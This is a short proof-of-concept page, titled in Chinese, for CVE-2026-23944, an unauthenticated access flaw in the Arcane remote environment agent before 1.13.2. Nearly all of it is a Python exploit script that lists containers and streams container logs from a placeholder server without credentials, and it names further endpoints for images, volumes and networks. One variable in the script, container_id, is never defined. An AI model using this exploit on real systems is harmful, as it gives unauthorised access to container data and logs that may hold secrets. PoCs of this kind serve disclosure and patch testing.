CVE-2026-23944: Arcane远程环境代理未授权访问漏洞

import requests # CVE-2026-23944 PoC - Unauthenticated Access to Remote Environment # Target: Arcane < 1.13.2 target = "http://target-arcane-server.com" # Identify a remote environment ID (could be enumerated or obtained from public sources) remote_env_id = "remote-env-uuid-12345" # List containers in remote environment without authentication list_containers_url = f"{target}/api/environments/{remote_env_id}/containers" response = requests.get(list_containers_url) print(f"Status: {response.status_code}") print(f"Containers: {response.text}") # Stream logs from a container in remote environment logs_url = f"{target}/api/environments/{remote_env_id}/containers/{container_id}/logs" logs_response = requests.get(logs_url, stream=True) print(f"Logs Status: {logs_response.status_code}") for line in logs_response.iter_lines(): print(line) # Execute other agent endpoints (images, volumes, networks) # images: /api/environments/{id}/images # volumes: /api/environments/{id}/volumes # networks: /api/environments/{id}/networks